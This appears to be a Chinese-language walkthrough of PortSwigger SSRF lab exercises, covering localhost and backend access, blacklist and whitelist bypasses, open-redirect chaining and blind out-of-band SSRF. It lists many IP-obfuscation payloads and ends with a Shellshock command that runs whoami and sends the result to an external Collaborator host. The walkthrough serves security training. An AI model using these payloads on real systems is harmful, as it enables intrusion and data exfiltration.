文章目录
- 针对本地服务器的基本 SSRF
- 针对另一个后端系统的基本 SSRF
- SSRF 与基于黑名单的输入过滤器
- 基于白名单的输入过滤器的 SSRF
- SSRF 通过开放重定向漏洞绕过过滤器
- 带外检测的盲 SSRF
- 利用 Shellshock 的盲 SSRF
针对本地服务器的基本 SSRF
在商品下查看货物库存情况时抓包
有stockApi
参数 ,来进行访问
根据目的修改成http://localhost/admin
是顺利访问到该页面的 ,也可以访问delete?username=carlos来删除这个用户
为什么服务器会默认信任来自本地地址的请求呢,大概有如下原因
- 访问控制策略可能编写于前端,我们修改请求包的时候是已经通过了前端的,所以很容易就被绕过了
- 有的应用程序为了方便灾难恢复将服务器设置为任意用户都可访问,这就导致也会默认信任本地地址
针对另一个后端系统的基本 SSRF
有的后端系统用户是无法直接访问的,但是服务器可以成功向其发送请求,所以如果利用ssrf同样可以向这些本不对用户开放的后端系统发出恶意请求。
同样的方式,不过需要对ip进行爆破
同样操作即可
SSRF 与基于黑名单的输入过滤器
最常见的黑名单哦,127.0.0.1和localhost等关键词有不少方法来绕
127.0.0.1绕过-进制转换
十进制 2130706433
八进制 017700000001
二进制 0b1111111000000000000000000000001
十六进制 0x7f000001
http://localhost/ # localhost就是代指127.0.0.1
http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
http://[::]:80/ # 在liunx下可用,window测试了下不行
http://127。0。0。1/ # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
admin用双重url编码即可
基于白名单的输入过滤器的 SSRF
在@前加的内容都不会被解析成host的内容,而#或?后面的的内容也不会被解析到path中
url=http://ctf.@127.0.0.1/flag.php?show
双 URL 编码#
是%2523
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
SSRF 通过开放重定向漏洞绕过过滤器
以上的尝试是不行的
另一个功能点,查看下一个商品 ,会重定向到下一个商品
可以利用这里的path参数进行重定向到指定的页面
带外检测的盲 SSRF
与sql盲注相同,ssrf盲打最佳利用方式就是通过带外技术接收响应结果。也是同样使用burp自带的简易带外平台collaborator。即使有一些HTTP流量会被拦截,也会因为不怎么拦截DNS流量而获取我们想要的结果。
有的情况还可以利用SSRF盲打对目标后端系统进行探测,比如探测目标网络中开放的主机及端口之类的,这些同样也可以通过带外通道接收到。
题目中直接告诉我们Referer头存在SSRF盲打漏洞
临时collaborator地址贴上去
客户端接收到了发过来的DNS请求
证明这里存在可以盲打的ssrf
利用 Shellshock 的盲 SSRF
安装一下Collaborator Everywhere插件
从名字就能看出来这个插件可以对每一个点都进行collaborator测试以发现可以使用带外技术发送请求的点,为了方便插件进行测试,我们将靶场地址添加到目标中
然后开启网页代理,随意访问
自动fuzz出一些存在的问题点referer和user-agent
题目给出了请用shellshock的payload进行ssrf盲打192.168.0.*:8080, 寻找Shellshock(CVE-2014-6271) 的payload
() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
先用Burp Collaborator client创建个域名 替换BURP-COLLABORATOR-SUBDOMAIN
p8y574iqy5ac2it9il925s2vvm1cp1.oastify.com
Collaborator client有回显出来 **peter-QB8oXF**
就是用户,说明whoami不仅执行成功了,还把执行结果附加在URL中向指定的collaborator客户端发送请求了